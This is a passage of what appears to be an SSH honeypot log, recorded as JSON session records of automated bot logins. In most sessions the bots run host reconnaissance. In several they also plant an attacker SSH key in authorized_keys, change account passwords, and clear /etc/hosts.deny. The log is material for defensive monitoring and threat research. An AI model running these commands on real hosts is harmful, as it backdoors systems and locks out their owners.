found"},{"seq":31,"at":"2026-08-27T00:49:16.597413+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:49:17.444433+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"51356eec-cdad-413c-a2de-85e49e02044f","name":"lucid-polar-francolin","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":35372,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:48:58.089382+00:00","ended_at":"2026-08-27T00:48:58.758378+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"debian","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3452db8a-1de1-4515-9204-c5fe73e060d8","name":"mossy-courtly-oxpecker","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":39984,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:48:53.419323+00:00","ended_at":"2026-08-27T00:48:54.626425+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a2b864d8-6190-407a-b621-bf22434555cd","name":"nameless-seaward-onager","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":57348,"username":"gitea","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":508,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:46:10.720378+00:00","ended_at":"2026-08-27T00:46:12.209171+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2163,"events":[{"seq":1,"at":"2026-08-27T00:45:43.482186+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:45:44.028819+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:45:53.988289+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:45:54.843435+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:45:55.362406+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gitea123456\\nPF786Ly7o4gn\\nPF786Ly7o4gn\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:45:55.856924+00:00","kind":"input","latency_ms":null,"data":"echo \"gitea123456\\nPF786Ly7o4gn\\nPF786Ly7o4gn\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:45:56.354940+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:45:56.777608+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:45:57.450854+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:45:58.489001+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:45:58.995717+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:45:59.898543+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:46:00.410960+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:46:01.048899+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:46:01.549158+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:46:02.005489+00:00","kind":"output","latency_ms":null,"data":" 00:46:02 up 6 days, 21:36, 0 user, load average: 0.26, 0.22, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:46:02.510495+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:46:03.063471+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:46:03.575003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:46:04.043798+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:46:04.546784+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:46:05.107724+00:00","kind":"output","latency_ms":null,"data":"top - 00:46:05 up 6 days, 21:36, 0 user, load average: 0.26, 0.22, 0.18\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:46:05.615770+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:46:06.315196+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:46:06.817483+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:46:07.442842+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:46:07.997650+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:46:08.772842+00:00","kind":"output","latency_ms":null,"data":"gitea"},{"seq":29,"at":"2026-08-27T00:46:09.282205+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:46:10.219309+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:46:10.721328+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:46:12.053196+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gitea","password":"gitea123456","method":"password","accepted":true,"tier":"other"}]} {"id":"9d15aab0-40f2-4a07-8562-4c2ebbdc078a","name":"cosmic-ginger-tanager","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":57372,"username":"gitea","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:45:52.112089+00:00","ended_at":"2026-08-27T00:45:53.842993+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gitea","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4292b02e-62bb-41bf-a37e-7a1d5b418d69","name":"quiet-hardy-ibex","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":57362,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:45:46.971067+00:00","ended_at":"2026-08-27T00:45:47.771538+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2ef49375-1827-4419-971a-07984cb2a427","name":"quartz-crimson-whimbrel","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":57234,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":535,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:42:56.877146+00:00","ended_at":"2026-08-27T00:42:57.957604+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-27T00:42:33.422397+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:42:33.947682+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:42:39.531281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:42:40.393667+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:42:40.943889+00:00","kind":"input","latency_ms":null,"data":"echo \"root:RHehtdFYjJag\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:42:41.475949+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:42:42.011908+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:42:42.517845+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:42:43.047497+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:42:43.937318+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:42:44.481374+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:42:45.598618+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:42:46.125341+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:42:46.431139+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:42:46.953356+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:42:47.785893+00:00","kind":"output","latency_ms":null,"data":" 00:42:47 up 6 days, 21:32, 0 user, load average: 0.17, 0.13, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:42:48.320384+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:42:48.852966+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:42:49.383929+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:42:49.993772+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:42:50.546066+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:42:50.901906+00:00","kind":"output","latency_ms":null,"data":"top - 00:42:50 up 6 days, 21:32, 0 user, load average: 0.17, 0.13, 0.14\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:42:51.679136+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:42:52.509414+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:42:53.063763+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:42:53.314936+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:42:53.858173+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:42:54.703462+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:42:55.238457+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:42:56.344715+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:42:56.878381+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:42:57.789842+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"drcom@123","method":"password","accepted":true,"tier":"other"}]} {"id":"8aec264d-7bf5-4ea9-8648-091936fcc903","name":"bashful-rambling-fieldfare","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":57252,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:42:38.443481+00:00","ended_at":"2026-08-27T00:42:39.338062+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bb1bc9d8-0158-480b-ad5c-8d23c2862817","name":"zealous-thorny-moose","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":57240,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:42:35.216085+00:00","ended_at":"2026-08-27T00:42:36.187753+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1f78f223-366e-4f69-9e15-b5e4f42eaef1","name":"cobalt-hazy-ouzel","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":44492,"username":"sora","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":556,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:39:54.403067+00:00","ended_at":"2026-08-27T00:39:55.526725+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2126,"events":[{"seq":1,"at":"2026-08-27T00:39:27.712637+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:39:28.287130+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:39:35.006365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:39:35.499845+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:39:36.250623+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sora\\nfFhtD09BNwAA\\nfFhtD09BNwAA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:39:37.106695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T00:39:38.039440+00:00","kind":"input","latency_ms":null,"data":"echo \"sora\\nfFhtD09BNwAA\\nfFhtD09BNwAA\\n\"|passwd"},{"seq":8,"at":"2026-08-27T00:39:38.588516+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T00:39:38.892747+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T00:39:39.440570+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T00:39:40.812131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T00:39:41.414394+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T00:39:42.559458+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T00:39:43.116013+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:39:43.567189+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T00:39:44.136724+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T00:39:44.514484+00:00","kind":"output","latency_ms":null,"data":" 00:39:44 up 6 days, 21:29, 0 user, load average: 0.29, 0.31, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T00:39:45.062839+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T00:39:45.695187+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T00:39:46.238137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T00:39:47.063272+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T00:39:47.612154+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T00:39:48.232131+00:00","kind":"output","latency_ms":null,"data":"top - 00:39:48 up 6 days, 21:29, 0 user, load average: 0.29, 0.31, 0.19\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T00:39:48.847752+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T00:39:49.467744+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T00:39:50.025210+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T00:39:50.780388+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T00:39:51.327293+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T00:39:52.220630+00:00","kind":"output","latency_ms":null,"data":"sora"},{"seq":30,"at":"2026-08-27T00:39:52.762073+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T00:39:53.857756+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T00:39:54.403605+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T00:39:55.356755+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sora","password":"sora","method":"password","accepted":true,"tier":"other"}]} {"id":"b86f9197-ab88-4c5b-9a80-32dee45d74c0","name":"lunar-placid-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":39414,"username":"sora","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:39:33.762412+00:00","ended_at":"2026-08-27T00:39:34.820212+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sora","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3d21b8b5-e977-40d2-a359-f6aa40d2e0fa","name":"wooded-grassy-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":44502,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:39:29.686547+00:00","ended_at":"2026-08-27T00:39:31.144482+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"96e7c7e4-2a04-4fbf-a76e-0be66d30de68","name":"restless-tidal-shrike","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":60220,"username":"michal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":540,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:36:44.572496+00:00","ended_at":"2026-08-27T00:36:46.059069+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2127,"events":[{"seq":1,"at":"2026-08-27T00:36:14.911657+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:36:15.442504+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:36:25.722263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:36:26.548129+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:36:27.099333+00:00","kind":"input","latency_ms":null,"data":"echo -e \"michal123\\nCrtZ0Kgq7OEt\\nCrtZ0Kgq7OEt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:36:27.638518+00:00","kind":"input","latency_ms":null,"data":"echo \"michal123\\nCrtZ0Kgq7OEt\\nCrtZ0Kgq7OEt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:36:28.183801+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:36:28.908512+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:36:29.440140+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:36:30.570201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:36:31.110062+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:36:31.982587+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:36:32.527853+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:36:33.267515+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:36:33.795569+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:36:34.580836+00:00","kind":"output","latency_ms":null,"data":" 00:36:34 up 6 days, 21:26, 0 user, load average: 0.21, 0.21, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:36:35.439934+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:36:35.936364+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:36:36.466331+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:36:37.106786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:36:37.789884+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:36:38.517078+00:00","kind":"output","latency_ms":null,"data":"top - 00:36:38 up 6 days, 